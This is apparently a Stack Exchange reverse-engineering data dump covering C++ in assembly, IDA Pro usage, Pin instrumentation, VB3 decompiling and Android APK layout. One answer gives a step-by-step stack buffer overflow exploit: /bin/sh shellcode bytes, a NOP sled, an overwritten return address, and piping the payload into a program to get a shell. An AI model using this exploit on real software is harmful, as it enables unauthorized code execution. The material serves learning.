  <row Id="11059" PostTypeId="1" CreationDate="2015-10-08T12:29:41.867" Score="9" ViewCount="9366" Body="&lt;p&gt;I am planning to do some reverse engineering on an application that was written in a object oriented way. And now I'm kind of curious what a C++ class would look like in assembly. I already found out the basics about functions and their calling conventions. But classes are probably way more complex, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's say we have this class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Rectangle {&#xA;    int width, height;&#xA;  public:&#xA;    void set_values (int,int);&#xA;    int area() {return width*height;}&#xA;};&#xA;&#xA;void Rectangle::set_values (int x, int y) {&#xA;  width = x;&#xA;  height = y;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Rectangle rect;&#xA;rect.set_values (3,4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What would/could it look like in assembly?&lt;/p&gt;&#xA;" OwnerUserId="10255" LastActivityDate="2015-10-08T12:37:53.050" Title="What does a C++ class look like in assembly" Tags="|assembly|c++|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11060" PostTypeId="2" ParentId="11059" CreationDate="2015-10-08T12:37:53.050" Score="8" Body="&lt;p&gt;As discussed in &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/5957/1562&quot;&gt;https://reverseengineering.stackexchange.com/a/5957/1562&lt;/a&gt;, it's compiler-dependent (different compilers will generate different machine code and data structures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you may want to refer to &lt;a href=&quot;https://www.blackhat.com/presentations/bh-dc-07/Sabanal_Yason/Paper/bh-dc-07-Sabanal_Yason-WP.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reversing C++&lt;/a&gt;, as it does a pretty good job showing how most compilers compile C++ classes.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-10-08T12:37:53.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11061" PostTypeId="1" CreationDate="2015-10-08T13:59:53.680" Score="2" ViewCount="1055" Body="&lt;p&gt;I'm disassembling a simple Z80 program and can't for the life of me work out how to - successfully - specify a user-defined offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a line of code as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ld de, #0x6058&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and FTR, this address lies outside the address range of defined segments, however my 'suspiciousness' range is set to $0000-$FFFF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to display this as the offset from an address label, ie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ld de, #screen2-15424&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where, FWIW, screen2 is the named address 0x9C98.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I try to change the operand to a user-defined offset, TYPE=OFF16, BASE=screen2 and DELTA=0 (target automatically calculated). However the result is the same (original) line but with 0x6058 in RED.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing I try seems to produce what I want, other than a MANUAL operand type which works but is prone to human error because there is no automatic check. What am I missing here? I would think that this is basic functionality that most people would want? The only examples I can find are complex C-code decompilations on Intel/ARM architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="13790" LastActivityDate="2015-10-08T13:59:53.680" Title="IDA Pro user-defined offsets (again)" Tags="|ida|disassembly|binary-analysis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11064" PostTypeId="2" ParentId="11042" CreationDate="2015-10-08T22:15:45.310" Score="5" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;68 A bytes - 23 shellcode bytes: 45 NOPs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;NOP is the mnemonic that stands for No OPeration which is the byte \x90, meaning that you'll have to change the A's (\x41) for NOPs (\x90), because \x41 by itself it's not a valid ASM instruction in the x86 processor hence making your program crash.&lt;/p&gt;&#xA;&lt;p&gt;Taking this into account, first part goes like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;python -c 'print &amp;quot;\x90&amp;quot;*45' &amp;gt; payload.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;23 bytes Shellcode&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is self explanatory, just add your shellcode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;python -c 'print &amp;quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&amp;quot;' &amp;gt;&amp;gt; payload.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;4 bytes for the EIP register, pointing the start of the shellcode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Here's the tricky part:&lt;/h1&gt;&#xA;&lt;p&gt;First ask yourself a few questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does the system have ASLR enabled?&lt;/li&gt;&#xA;&lt;li&gt;Does it have DEP enabled?&lt;/li&gt;&#xA;&lt;li&gt;NX?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx&quot;&gt;Read this if the answer is that you don't know&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And if the answer to both of these is &lt;strong&gt;no&lt;/strong&gt; then, continue to check into gdb the following&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/10483544/stopping-at-the-first-machine-code-instruction-in-gdb&quot;&gt;Set a breakpoint at program's entry point in gdb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step in gdb until you get to the call to strcpy (id est, when the overflow happens)&lt;/li&gt;&#xA;&lt;li&gt;Get the location of your &lt;em&gt;buf&lt;/em&gt; variable in stack. We can do so by writing the next command in gdb since the Stack Pointer is pointing right at the beginning of &lt;em&gt;buf&lt;/em&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;x/32xb $esp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now that you have the location of your &lt;em&gt;buf&lt;/em&gt; variable, which should be something in the form &lt;code&gt;0xbffff5f0&lt;/code&gt;. Now get that memory position and add it to the end of your payload. You need this position in order to jump to the location of your &lt;em&gt;buf&lt;/em&gt; variable and execute the shellcode in it...&lt;/p&gt;&#xA;&lt;h1&gt;But hold on!&lt;/h1&gt;&#xA;&lt;p&gt;You still have to take &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow noreferrer&quot;&gt;endianness&lt;/a&gt; into account, which in your system is little endian.&lt;/p&gt;&#xA;&lt;p&gt;So you'll need to write that memory position in little endian which, if you are lazy like me, you'll end up &lt;a href=&quot;https://github.com/n30m1nd/pyndianizer&quot; rel=&quot;nofollow noreferrer&quot;&gt;writing a script that makes it for you&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;python pyndianizer.py 0xbffff5f0&lt;/code&gt; ==&amp;gt; &lt;code&gt;\xf0\xf5\xff\xbf&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, add it to your payload&#xA;&lt;code&gt;python -c 'print &amp;quot;\xf0\xf5\xff\xbf&amp;quot;' &amp;gt;&amp;gt; payload.bin&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h1&gt;And for the grand finale:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;code&gt;cat payload.bin | ./shell&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If everything was done well, just press a few enters and you'll have your shell.&lt;/p&gt;&#xA;&lt;h1&gt;Final note&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;Your shellcode runs &lt;code&gt;/bin/sh&lt;/code&gt; but just running it doesn't work sometimes because the program ends just after running your shellcode. If so, you'll have to make it wait for user input after &lt;code&gt;cat&lt;/code&gt;ing the shellcode in&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13794" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-11-09T20:47:56.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11065" PostTypeId="1" AcceptedAnswerId="11066" CreationDate="2015-10-09T08:06:19.177" Score="1" ViewCount="516" Body="&lt;p&gt;I am developing a dynamic instrumentation tool using Intel PIN to analyze malware binaries in windows. From what I have learned so far is that I am able to use the tool with programs I write using C/C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is that, will the tool developed using PIN and C/C++, work fine for binaries developed in other languages? Or are there any special care I needed to be taken to analyze binaries developed in other languages?&lt;/p&gt;&#xA;" OwnerUserId="13106" LastActivityDate="2015-10-09T08:27:57.193" Title="Binary Instrumentation of malware binaries?" Tags="|binary-analysis|instrumentation|pintool|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11066" PostTypeId="2" ParentId="11065" CreationDate="2015-10-09T08:19:07.217" Score="3" Body="&lt;p&gt;Yes, your Pintool written in C/C++ works fine for binaries (of x86 or x86-64 instruction set) generated from compilers of other languages. You can see this quotes in the file README of any Pin distribution&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... the [instrumented] application can use any compiler.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Personally, I have used Pin to instrument binaries compiled by OCaml compiler (so the source code is OCaml).&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2015-10-09T08:27:57.193" LastActivityDate="2015-10-09T08:27:57.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11067" PostTypeId="1" AcceptedAnswerId="11069" CreationDate="2015-10-09T12:10:16.680" Score="0" ViewCount="817" Body="&lt;p&gt;I have VR2 Joystick and I want to hack it. What I think is that, to determine analog voltage of joystick outpin and to mimic this values in Arduino with AnalogWrite function. I tried measure analog voltage of joystick pins but I cannot record this values. Is there any way to find x, y position of joystick? Actually, I don't know whether is this method is correct. Because, values can mislead, maybe. Is there another way you know, you apply?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="13739" LastActivityDate="2015-10-09T13:10:40.553" Title="How to get x and y position from joystick?" Tags="|hardware|arduino|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11068" PostTypeId="1" CreationDate="2015-10-09T12:44:20.427" Score="1" ViewCount="2281" Body="&lt;p&gt;New to decompiling, and code generally. Trying to decompile a windows 3.1 game (text adventure), so I can build it up again. Because at the moment it doesn't work (even on windows 3.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decompiled the exe with &lt;a href=&quot;http://vbdis4.angelfire.com/VBDIS3.67e_Reloaded_Rev3_DoDi_s_VB3Decompiler.7z&quot; rel=&quot;nofollow noreferrer&quot;&gt;DoDi (7z File)&lt;/a&gt; which was recommended in one of the answers to &lt;a href=&quot;https://stackoverflow.com/questions/3983709/vb3-decompiler&quot;&gt;this question&lt;/a&gt; on SO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This threw an error when decompiling the exe 'an already known error occurred'. Probably not very helpful, but I mention it just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it decompiled fine to &lt;code&gt;.mak&lt;/code&gt;, &lt;code&gt;.frm&lt;/code&gt; and &lt;code&gt;.bas&lt;/code&gt; files. I compiled the program again in Visual Basic 4, after correcting some syntax problems, but I get a totally non-interactive window in which none of the buttons work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes me think that it needs to talk to the code in the dll, but is not doing so. DoDi won't decompile dlls, and I have yet to find a decompiler which will handle 16-bit (NE/New Executable) dlls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I assume I need to decompile this dll too. How? The game files are in  &lt;code&gt;draquest.zip&lt;/code&gt;, which is here &lt;a href=&quot;http://www.ifarchive.org/indexes/if-archiveXgamesXpc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;archived here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13800" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-10-13T14:29:13.067" Title="Decompiling a windows 3.1, VisualBasic 3 exe. Do I need to decompile dll too? How?" Tags="|windows|decompilation|dll|visual-basic|ne|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11069" PostTypeId="2" ParentId="11067" CreationDate="2015-10-09T13:09:50.420" Score="1" Body="&lt;p&gt;There is a 2-page forum thread &lt;a href=&quot;http://www.wheelchairdriver.com/board/viewtopic.php?f=2&amp;amp;t=2603&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; that explains how to interface with the VR2 joystick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8mZ3b.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6JiRB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0A91e.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;etc...&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-10-09T13:09:50.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11070" PostTypeId="2" ParentId="11067" CreationDate="2015-10-09T13:10:40.553" Score="1" Body="&lt;p&gt;You might be interested in &lt;a href=&quot;http://www.wheelchairdriver.com/board/viewtopic.php?f=2&amp;amp;t=3261&quot; rel=&quot;nofollow&quot;&gt;this forum post&lt;/a&gt; where people have already interfaced your joystick to an arduino. It also has a link to the specifications of a &lt;a href=&quot;http://www.cw-industrialgroup.com/Products/Joystick-Controls/Multi-Axis-Controller/Multi-Axis-Contactless-Joystick-Controller-JC2000.aspx&quot; rel=&quot;nofollow&quot;&gt;similar joystick&lt;/a&gt;, including a &lt;a href=&quot;http://www.cw-industrialgroup.com/getattachment/a6bb9db0-f4be-47c9-8e9d-e8931694969f/JC2000_jun07%28EN%29&quot; rel=&quot;nofollow&quot;&gt;data sheet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that each direction uses 2 hall effect sensors, whose outputs correspond, and you should read both of them and compare them. Only if their sum is a constant value, +/- a few percent, can you assume that both of them work. Or, if you want to emulate the joystick in an existing circuit, you'll have to provide both values to &quot;fool&quot; the existing logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, please not that the standard Arduino &lt;code&gt;AnalogWrite&lt;/code&gt; function doesn't do a true analog write; instead, it sets the output to a PWM (&lt;a href=&quot;https://learn.sparkfun.com/tutorials/pulse-width-modulation&quot; rel=&quot;nofollow&quot;&gt;pulse width modulation&lt;/a&gt;) signal with a duty cycle ratio that corresponds to the &lt;code&gt;AnalogWrite&lt;/code&gt; written value. This is &quot;analog&quot; enough to control the brightness of a LED, but won't work with anything that requires a true analog signal. In order to produce a true analog signal, you'll need to use an Arduino Due or Arduino Zero, which have &lt;a href=&quot;https://www.arduino.cc/en/Reference/AnalogWriteResolution&quot; rel=&quot;nofollow&quot;&gt;2 resp. 1 true analog output signal&lt;/a&gt; (which isn't enough if you want to simulate the 4 hall sensors that the joystick has), so you'll need a 4-channel digital to analog converter with an arduino library, &lt;a href=&quot;https://www.adafruit.com/products/1085&quot; rel=&quot;nofollow&quot;&gt;something like this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you seriosly consider starting a project, i'd &lt;em&gt;strongly&lt;/em&gt; recommend you get a digital oscilloscope that will allow you to check the real voltages on both your joystick and your simulation.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-10-09T13:10:40.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11071" PostTypeId="2" ParentId="3919" CreationDate="2015-10-09T13:45:53.663" Score="1" Body="&lt;p&gt;I check this link &lt;a href=&quot;http://blog.chapmanconsulting.ca/post/2007/12/02/Hacking-the-Tassimo-Part-2-Breaking-the-Code.aspx&quot; rel=&quot;nofollow&quot;&gt;http://blog.chapmanconsulting.ca/post/2007/12/02/Hacking-the-Tassimo-Part-2-Breaking-the-Code.aspx&lt;/a&gt; I think it a error for Beverage volume.&#xA;I check this two parameter: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.Beverage volume (Bits 4,5,6,7)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.Flow rate (Bits 8,9,10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to combine this two parameter to have the volume of the brevage. The bits 4-7 it like time the water pumpe work and 8-10 the flow rate. So I think you have max 15 sec for water pump Bits 4-7 1111 = 15  and flow rate is increment by 12.5% 111 = 7 7(111)=100% 6(110)=87.5% 5(101)=75% 4(100)=62.5% 3(011)=50% 2(010)=37.5% 1(001)=25% 0(000)=12.5%&#xA;It only a theory it need to be confirm.&lt;/p&gt;&#xA;" OwnerUserId="13802" LastActivityDate="2015-10-09T13:45:53.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11072" PostTypeId="2" ParentId="11068" CreationDate="2015-10-09T15:07:27.247" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So, I assume I need to decompile this dll too.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As Guntram said, no, you don't need to decompile the VBX files.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So, it decompiled fine to mak, frm and bas files. I compiled the program again in Visual Basic 4, after correcting some syntax problems, but I get a totally non-interactive window in which none of the buttons work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The window's form is defined in &lt;code&gt;ONLYFORM.FRM&lt;/code&gt; and the code for the form's event handlers is in &lt;code&gt;ONLYFORM.bas&lt;/code&gt;. If the event handler functions aren't firing, it's likely because the handlers aren't properly registered in &lt;code&gt;ONLYFORM.FRM&lt;/code&gt;. However, you already have the code, so any future questions on how to fix the event handler registration should go to &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;https://stackoverflow.com/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-10-09T15:07:27.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11073" PostTypeId="1" CreationDate="2015-10-09T16:05:32.237" Score="1" ViewCount="516" Body="&lt;p&gt;I just came across the MyNav Python scripts and would like to use some of their functionality on my IDA Pro database. I have IdaPython installed properly, but I cannot seem to get the plugins to show up in the menu. I have gone to File &gt; script and run MyNav.py, but all that happens is the myexport.pyc and mybrowser.pyc files get generated where I have the source files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried copying those into the plugins directory and restarting, but nothing shows up. The install documentation on the google code page is non-existent. Has anyone had any success installing this plugin package? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Python 2.7 with IdaPython 1.5.2, but have also tried with Python 2.6&lt;/p&gt;&#xA;" OwnerUserId="13721" LastEditorUserId="13721" LastEditDate="2015-10-09T21:45:16.153" LastActivityDate="2015-10-09T21:45:16.153" Title="Using MyNav Python Scripts With IDA Pro 6.1 On Windows 7" Tags="|ida|idapython|ida-plugin|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11075" PostTypeId="1" CreationDate="2015-10-09T18:56:50.623" Score="8" ViewCount="1728" Body="&lt;p&gt;I am learning to disassemble and analyze objective-c binaries. One of my frustrations is that in Hopper, and IDA, it seems that the proper cross-references and control flow are not preserved. I believe this is because of Objective-C's message passing technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, here is a keygenme I am working on: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/uIM6J.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uIM6J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it is very hard to follow. Everything seems to coalesce on message send, with very little indication of where control flow actually begins. For instance, I am trying to determine what calls mk. Obviously it is being routed through message send, but where does the call originate? Of course, the cross references IDA provides seem to stop at any Objective-C function - making it hard to determine who is calling it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this plugin: &lt;a href=&quot;https://github.com/zynamics/objc-helper-plugin-ida&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/zynamics/objc-helper-plugin-ida&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it results in &quot;nothing to patch.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does IDA have a feature to help with this? How might I trace through this by hand if need be? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some have already suggested that I just resolve this through dynamic analysis, but I'd prefer to understand the proper way to analyze it statically. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="2149" LastEditDate="2016-07-25T18:28:44.083" LastActivityDate="2017-12-08T08:10:40.890" Title="Retrieving Objective-C Control Flow?" Tags="|ida|mach-o|control-flow-graph|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11076" PostTypeId="2" ParentId="8765" CreationDate="2015-10-09T22:23:34.250" Score="2" Body="&lt;p&gt;As I've stated in my comment to your question, the file is loaded as a Shared Object, then it is a likely a '.so' file and is actually a shared library. Are you positive that this application can be run independently from the command line (adb)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a shared library, you will need to attach to a process that can load and call the functionality that you want to step through in IDA. You can do this using an &quot;shim&quot; application that I created and posted online;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rednaga/native-shim&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rednaga/native-shim&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It include directions on how you would compile it, push it to the device and point IDA Pro at it. This allows you to pass the shared library as an argument and allow it to be &quot;run&quot; via IDA Pro. Hopefully this solves your issue.&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2015-10-09T22:23:34.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11077" PostTypeId="2" ParentId="11057" CreationDate="2015-10-09T22:51:54.223" Score="2" Body="&lt;p&gt;For enums you can use the &lt;code&gt;AddEnum(idx, name, flag)&lt;/code&gt; function to create an enum inside an IDC script or Python script. This returns an &lt;code&gt;enum_id&lt;/code&gt; which you can then use to create symbolic constant using &lt;code&gt;AddConstEx(enum_id, name, value, bmask)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you can then get the constant for the enum using the same &lt;code&gt;enum_id&lt;/code&gt; &lt;code&gt;GetConstEx(enum_id, value, serial, bmask)&lt;/code&gt;. This will return a &lt;code&gt;const_id&lt;/code&gt; which can be used to set a repeatable comment for that value in the enum using &lt;code&gt;SetConstCmt(const_id, cmt, repeatable)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A short example of using this all together can be seen in this script I use;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def create_enum(enum_name, member_infos, offset, increment):&#xA;   return_id = AddEnum(-1, enum_name, 0x1100000);&#xA;&#xA;    if return_id == BADADDR:&#xA;        error('Unable to create enum : %s' % enum_name)&#xA;        return return_id&#xA;&#xA;    for member_info in member_infos:&#xA;        debug(&quot;Attempting to create enum member and comment : %s.%s -&amp;gt; %s&quot; % (enum_name, member_info[0], member_info[1]))&#xA;&#xA;        if AddConstEx(return_id, member_info[0], offset, -1) == 0:&#xA;            const_id = GetConstEx(return_id, offset, 0, -1)&#xA;&#xA;            if const_id == -1:&#xA;                debug('Unable to get constant id for : %s.%s' % (enum_name, member_info[0]))&#xA;&#xA;            else:&#xA;                if SetConstCmt(const_id, member_info[1], 1):&#xA;                    debug('Enum value created : %s.%s' % (enum_name, member_info[0]))&#xA;&#xA;                else:&#xA;                    error('Enum value failed to have comment set : %s.%s' % (enum_name, member_info[0]))&#xA;&#xA;                offset += increment&#xA;        else:&#xA;            error('Unable to create enum member : %s.%s' % (enum_name, member_info[0]))&#xA;            return -1&#xA;&#xA;    info('Finished creating enum : %s' % enum_name)&#xA;    return return_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would be used as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum_to_create = [&#xA;    ('enum_1', 'enum1 comment'),&#xA;    ('enum_2', 'enum2 comment'),&#xA;    ('enum_3', 'enum3 comment'),&#xA;    ('enum_4', 'enum4 comment'),&#xA;    ('enum_5', 'enum5 comment')&#xA;]&#xA;&#xA;create_enum('enum propername', enum_to_create, -0x8, 0x4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the structures, it would appear you would go a similar route though using the structure commands like &lt;code&gt;AddStructEx(index, name, is_union)&lt;/code&gt; and &lt;code&gt;SetStrucName(sid, name)&lt;/code&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2015-10-09T22:51:54.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11078" PostTypeId="2" ParentId="10971" CreationDate="2015-10-09T23:12:45.803" Score="5" Body="&lt;p&gt;If you're looking at a &quot;normal&quot; mono droid application (compiled with something like Xamarin) then you'll see some of these structures in the APK/ZIP'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/assemblies/Sikur.Monodroid.dll&#xA;/assemblies/Sikur.dll&#xA;/assemblies/Xamarin.Android.Support.v13.dll&#xA;/assemblies/Xamarin.Android.Support.v4.dll&#xA;/assemblies/Xamarin.Android.Support.v7.AppCompat.dll&#xA;/assemblies/Xamarin.Android.Support.v7.CardView.dll&#xA;/assemblies/Xamarin.Android.Support.v7.RecyclerView.dll&#xA;/assemblies/Xamarin.Mobile.dll&#xA;/assemblies/mscorlib.dll&#xA;/classes.dex&#xA;/lib&#xA;/lib/armeabi-v7a&#xA;/lib/armeabi-v7a/libmonodroid.so&#xA;/lib/armeabi-v7a/libmonosgen-2.0.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File in the &lt;code&gt;assemblies&lt;/code&gt; directory will be the Mono/.Net code and can be reversed using those normal tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;classes.dex&lt;/code&gt; is a normal Android Dalvik executable file (dex) which can be reversed using the usual tools (baksmali, IDA Pro, etc) - though it should just be the stub loaded to start the Mono engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files includes in &lt;code&gt;lib/**/*.so&lt;/code&gt; are native shared libraries which are compiled into an ELF ARM file. These are normally going to the the monodroid engine (&lt;code&gt;libmonodroid.so&lt;/code&gt;) and potentially other plugins that have been used by the developer. These would require ELF ARM capable disassemblers like Hopper, IDA Pro, r2, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the specific example above, the only non-Xamarin code would be located in &lt;code&gt;Sikur.dll&lt;/code&gt; and &lt;code&gt;Sikur.Monodroid.dll&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2015-10-09T23:12:45.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11079" PostTypeId="1" CreationDate="2015-10-10T12:08:40.567" Score="1" ViewCount="2078" Body="&lt;p&gt;I just received my buspirate, I now want to dump a flash (&lt;a href=&quot;http://www.macronix.com/Lists/Datasheet/Attachments/2497/MX25L12845E,%203V,%20128Mb,%20v1.9.pdf&quot; rel=&quot;nofollow&quot;&gt;MX25L12845E&lt;/a&gt;).&#xA;I tried the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;flashrom -V -p buspirate_spi:dev=/dev/tty.usbserial-AJ02XILF,spispeed=1M -r MX25L128.bin -c MX25L12835F/MX25L12845E/MX25L12865E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And get the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;flashrom v0.9.8-r1888 on Darwin 15.0.0 (x86_64)&#xA;flashrom is free software, get the source code at http://www.flashrom.org&#xA;&#xA;flashrom was built with LLVM Clang 7.0.0 (clang-700.0.72), little endian&#xA;Command line (7 args): flashrom -V -p buspirate_spi:dev=/dev/tty.usbserial-AJ02XILF,spispeed=1M -r MX25L128.bin -c MX25L12835F/MX25L12845E/MX25L12865E&#xA;Calibrating delay loop... OS timer resolution is 1 usecs, 2849M loops per second, 10 myus = 10 us, 100 myus = 149 us, 1000 myus = 1019 us, 10000 myus = 9791 